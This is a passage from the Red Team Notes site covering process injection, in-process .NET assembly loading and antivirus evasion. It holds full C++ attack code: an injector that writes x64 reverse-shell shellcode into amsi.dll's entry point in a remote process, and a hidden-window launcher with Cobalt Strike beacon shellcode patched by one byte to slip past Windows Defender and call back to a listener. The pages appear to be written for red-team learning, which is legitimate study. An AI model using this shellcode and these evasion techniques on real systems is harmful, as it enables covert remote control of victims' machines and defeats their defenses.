it resolves to `Amsi!DLLMainCRTStartup` and it contains our shellcode as expected: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LxRPc2GycAt6cmXfhAo%252F-LxReu2iqFzJW9IjWxji%252Fimage.png%3Falt%3Dmedia%26token%3D0181501d-c2ff-44ca-9305-ba7d958defa8&width=768&dpr=3&quality=100&sign=7327ea16&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fstatic.parastorage.com%2Fclient%2Fpfavico.ico&width=20&dpr=3&quality=100&sign=53bf2fd6&sv=2)Masking Malicious Memory Artifacts – Part I: Phantom DLL HollowingForrestOrr](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing) [Living Dangerously with Module Stomping: Leveraging Code Coverage Analysis for Injecting into Legitimately Loaded DLLs...](http://williamknowles.io/living-dangerously-with-module-stomping-leveraging-code-coverage-analysis-for-injecting-into-legitimately-loaded-dlls/) [PreviousAddressOfEntryPoint Code Injection without VirtualAllocEx RWX](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx) [NextPE Injection: Executing PEs inside Remote Processes](https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes) Last updated 6 years ago * [Overview](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#overview) * [Pros](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#pros) * [Cons](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#cons) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#code) * [Demo](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#demo) * [Observation](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#observation) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#references) Copy #include "pch.h" #include #include #include int main(int argc, char *argv[]) { HANDLE processHandle; PVOID remoteBuffer; wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll"; HMODULE modules[256] = {}; SIZE_T modulesSize = sizeof(modules); DWORD modulesSizeNeeded = 0; DWORD moduleNameSize = 0; SIZE_T modulesCount = 0; CHAR remoteModuleName[128] = {}; HMODULE remoteModule = NULL; // simple reverse shell x64 unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; // inject a benign DLL into remote process processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); //processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL); PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL); WaitForSingleObject(dllThread, 1000); // find base address of the injected benign DLL in remote process EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded); modulesCount = modulesSizeNeeded / sizeof(HMODULE); for (size_t i = 0; i < modulesCount; i++) { remoteModule = modules[i]; GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName)); if (std::string(remoteModuleName).compare("amsi.dll") == 0) { std::cout << remoteModuleName << " at " << modules[i]; break; } } // get DLL's AddressOfEntryPoint DWORD headerBufferSize = 0x1000; LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew); LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule); std::cout << ", entryPoint at " << dllEntryPoint; // write shellcode to DLL's AddressofEntryPoint WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL); // execute shellcode from inside the benign DLL CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL); return 0; } --- # Injecting .NET Assembly to an Unmanaged Process | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process.md) . This is a quick lab to see what API sequence makes it possible to inject C# .NET assemblies / PE files (.exe and .dll) into an unmanaged process and invoke their methods. This is the technique that makes `execute-assembly` command possible in Cobalt Strike. [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#overview) Overview ----------------------------------------------------------------------------------------------------------------------------------------------------------------- At a high level, it works as follows: 1. `CLRCreateInstance` is used to retrieve an interface [`ICLRMetaHost`](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface) 2. `ICLRMetaHost->GetRuntime` is used to retrieve [`ICLRRuntimeInfo`](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface) interface for a specified CLR version 3. `ICLRRuntimeInfo->GetInterface` is used to load the CLR into the current process and retrieve an interface [`ICLRRuntimeHost`](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface) 4. `ICLRRuntimeHost->Start` is used to initialize the CLR into the current process 5. `ICLRRuntimeHost->ExecuteInDefaultAppDomain` is used to load the C# .NET assembly and call a particular method with an optionally provided argument [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#code) Code --------------------------------------------------------------------------------------------------------------------------------------------------------- * `unmanaged.cpp` (in my lab compiled to `LoadCLR.exe`) - a C++ program that loads a C# assembly `CLRHello1.exe` and invokes its method `spotlessMethod` * `managed.cs` (in my lab compiled to `CLRHello1.exe`) - a C# program that is loaded by the unmanaged process (`LoadCLR.exe`). It has a method `spotlessMethod` that is invoked via `ExecuteInDefaultAppDomain.`O Once invoked, the `spotlessMethod` prints out `Hi from CLR` to the console window. unmanaged.cpp managed.cs Copy // code mostly stolen from pabloko's comment in https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2 #include #include #include #pragma comment(lib, "mscoree.lib") int main() { ICLRMetaHost* metaHost = NULL; ICLRRuntimeInfo* runtimeInfo = NULL; ICLRRuntimeHost* runtimeHost = NULL; DWORD pReturnValue; CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost); metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo); runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost); runtimeHost->Start(); HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\CLRHello1\\CLRHello1\\CLRHello1\\bin\\Debug\\CLRHello1.exe", L"CLRHello1.Program", L"spotlessMethod", L"test", &pReturnValue); if (res == S_OK) { std::cout << "CLR executed successfully\n"; } runtimeInfo->Release(); metaHost->Release(); runtimeHost->Release(); return 0; } [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#demo) Demo --------------------------------------------------------------------------------------------------------------------------------------------------------- Below shows how `LoadCLR.exe` loaded our C# assembly `CLRHello.exe` (seen in `LoadCLR.exe` loaded modules tab) and invoked the `spotlessMethod`, that printed `Hi from CLR` to the console: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MALuxvDpV15W0omsfbn%252F-MAMu40gYPkzETCaO8-P%252Funmanaged-process-load-clr.gif%3Falt%3Dmedia%26token%3D599b6fc2-029c-4591-89d5-3bd5761099e0&width=768&dpr=3&quality=100&sign=e8c47c36&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fblog.xpnsec.com%2Fimages%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=5472aee9&sv=2)@\_xpn\_ - Hiding your .NET - ETWXPN InfoSec Blog](https://blog.xpnsec.com/hiding-your-dotnet-etw/) [https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2](https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2) [PreviousWriting and Compiling Shellcode in C](https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c) [NextBinary Exploitation](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation) Last updated 3 years ago * [Overview](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#overview) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#code) * [Demo](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#demo) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process#references) Copy using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CLRHello1 { class Program { static void Main(string[] args) { return; } // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature static int spotlessMethod(String pwzArgument) { Console.WriteLine("Hi from CLR"); return 1; } } } --- # Evading Windows Defender with 1 Byte Change | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change.md) . This is a fun little lab to illustrate that sometimes changing just 1 byte in the shellcode is enough to bypass certain antivirus products, including the latest Windows Defender at the time of writing 11th Jan, 2019. In this lab I'm using Windows 10 (1803) as a victim system, Kali running Cobalt Strike and Windows 7 where bad C++ happens. [](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#out-of-the-box-payload-getting-caught) Out of the Box Payload Getting Caught ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- As you probably know, default / out of the box payloads are usually caught by antivirus vendors immedialy. No exception is the Cobalt Strike's default stageless beacon which gets flagged by Windows Defender on Windows 10: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVxH3oe94ExixP9qsbn%252F-LVxHxcTwdXj9QZc5uBa%252FScreenshot%2520from%25202019-01-11%252013-02-28.png%3Falt%3Dmedia%26token%3Df181da4b-0edb-4568-8ea6-8b0fb7a299e7&width=768&dpr=3&quality=100&sign=3bc2a365&sv=2) Can we do something about it? [](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#id-1-byte-trick) 1 Byte Trick ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's generate a Cobalt Strike shellcode for our listener in C: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVxH3oe94ExixP9qsbn%252F-LVxKkTAxgzROol8L6GX%252FScreenshot%2520from%25202019-01-11%252014-35-25.png%3Falt%3Dmedia%26token%3Df280ef58-6f30-430b-b648-7feda050468b&width=768&dpr=3&quality=100&sign=f63a17fb&sv=2) Note that the first byte of the shellcode is `\xfc`. For the next step, I'm using a classic shellcode injection technique I played with in [T1055: Process Injection](https://www.ired.team/offensive-security/code-injection-process-injection) . Let's put the shellcode we got into the launcher, but with a small twist: * Change `\xfc` to any other byte value. I chose `\xfd` (line 80) * Store the correct first byte `\xfc` in a char variable (line 81) * Before copying the full shellcode to the newly allocated memory, flip the bad byte `\xfd` with a good one `\xfc` (line 86) * Build the executable * Profit? ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVxH3oe94ExixP9qsbn%252F-LVxKn1nOE9ooGfsfe89%252FScreenshot%2520from%25202019-01-11%252014-32-50.png%3Falt%3Dmedia%26token%3D04924692-1ede-43c3-b9e0-46140b940978&width=768&dpr=3&quality=100&sign=134c2f78&sv=2) Below is the source code if you want to test it in your environment: [](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#execution) Execution -------------------------------------------------------------------------------------------------------------------------------------------------------------------- On the left - Windows 10 with Windows Defender turned on and on the right is Cobalt Strike receiving the beacon checkin once our shellcode is invoked: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVxH3oe94ExixP9qsbn%252F-LVxN8vg9Vbnw6DHqU-0%252FPeek%25202019-01-11%252014-45.gif%3Falt%3Dmedia%26token%3Dd24c9aae-ea55-44a1-98c5-7506a9657132&width=768&dpr=3&quality=100&sign=fd38eedc&sv=2) This is a quick and dirty proof of concept and hence the console window is visible for a brief moment, meaning a target user can suspect nefarious activity. Below shows that the beacon that called back is stable and working as expected: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVxH3oe94ExixP9qsbn%252F-LVxNRyij6hLoYnKb9Jm%252FScreenshot%2520from%25202019-01-11%252014-47-10.png%3Falt%3Dmedia%26token%3D4506da87-208c-4762-b9e7-9d1e0041d6de&width=768&dpr=3&quality=100&sign=676ef721&sv=2) Below is another quick demo showing that the latest Windows updates were installed at the time of testing the POC on 11th Jan, 2019: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVxO3FH3rNePZVYtlvU%252F-LVxR1NC0B0d_S2o1Ozv%252FPeek%25202019-01-11%252015-02.gif%3Falt%3Dmedia%26token%3D5b198419-ce33-46b7-aabb-968731c2069b&width=768&dpr=3&quality=100&sign=30dcf130&sv=2) [](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#default-payload) Default Payload -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Below shows that if the Cobalt Strike shellcode was injected as is, it immediately gets flagged: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVxoeocKHVzve2g6Txo%252F-LVxooSRVLNKp3M8QeaZ%252FPeek%25202019-01-11%252016-50.gif%3Falt%3Dmedia%26token%3D198acfaa-353b-407c-bfb5-12a974fe1fe4&width=768&dpr=3&quality=100&sign=f2af6a77&sv=2) [](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#conclusion) Conclusion ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- Although not completely stealthy - the console window is visible for a brief moment during shellcode exeution, this short lab demonstrates that sometimes all it takes to evade AV detection is 1 one byte way. [](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#subliminal-inspiration) Subliminal Inspiration ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **Update** [@curi0usJack](https://twitter.com/curi0usJack) informed me that [@HackingDave](https://twitter.com/HackingDave) had found the same Windows Defender bypass technique as seen here [https://github.com/trustedsec/unicorn/commit/40569caff60cc533a5b8d0ad68d8c822aa0fb932#diff-97dd53d8ebb9afbc90da38a12a3ff1a4L844](https://github.com/trustedsec/unicorn/commit/40569caff60cc533a5b8d0ad68d8c822aa0fb932#diff-97dd53d8ebb9afbc90da38a12a3ff1a4L844) as part of his `Unicorn` project - very nice work! I will be definitely checking out the tool and its capabilities! [PreviousAV Bypass with Metasploit Templates and Custom Binaries](https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates) [NextBypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions](https://www.ired.team/offensive-security/defense-evasion/bypassing-windows-defender-one-tcp-socket-away-from-meterpreter-and-cobalt-strike-beacon) Last updated 7 years ago * [Out of the Box Payload Getting Caught](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#out-of-the-box-payload-getting-caught) * [1 Byte Trick](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#id-1-byte-trick) * [Execution](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#execution) * [Default Payload](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#default-payload) * [Conclusion](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#conclusion) * [Subliminal Inspiration](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change#subliminal-inspiration) shellcodelauncher.cpp Copy #include "stdafx.h" #include "Windows.h" int main(int argc, char *argv[]) { ::ShowWindow(::GetConsoleWindow(), SW_HIDE); // cobalt strike beacon shellcode x64 unsigned char shellcode[] = "\xfd\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x63\x72\x38\x50\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x31\x2e\x31\x2e\x34\x33\x32\x32\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x35\x00\x00\x00\x00\x00"; char first[] = "\xfc"; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(shellcode, first, 1); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; } --- # Enumeration and Discovery | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/enumeration-and-discovery.md) . [Windows Event IDs and Others for Situational Awareness](https://www.ired.team/offensive-security/enumeration-and-discovery/windows-event-ids-for-situational-awareness) [Enumerating COM Objects and their Methods](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-com-objects-and-their-methods) [Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-users-without-net-services-without-sc-and-scheduled-tasks-without-schtasks) [Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-windows-domains-using-rpcclient-through-socksproxy-bypassing-command-line-logging) [Dump Global Address List (GAL) from OWA](https://www.ired.team/offensive-security/enumeration-and-discovery/dumping-gal-global-address-list-from-outlook-web-application) [Application Window Discovery](https://www.ired.team/offensive-security/enumeration-and-discovery/t1010-application-window-discovery) [Account Discovery & Enumeration](https://www.ired.team/offensive-security/enumeration-and-discovery/t1087-account-discovery) [Using COM to Enumerate Hostname, Username, Domain, Network Drives](https://www.ired.team/offensive-security/enumeration-and-discovery/using-com-to-enumerate-hostname-username-domain-network-drives) [Detecting Sysmon on the Victim Host](https://www.ired.team/offensive-security/enumeration-and-discovery/detecting-sysmon-on-the-victim-host) [PreviousExecuting C# Assemblies from Jscript and wscript with DotNetToJscript](https://www.ired.team/offensive-security/defense-evasion/executing-csharp-assemblies-from-jscript-and-wscript-with-dotnettojscript) [NextWindows Event IDs and 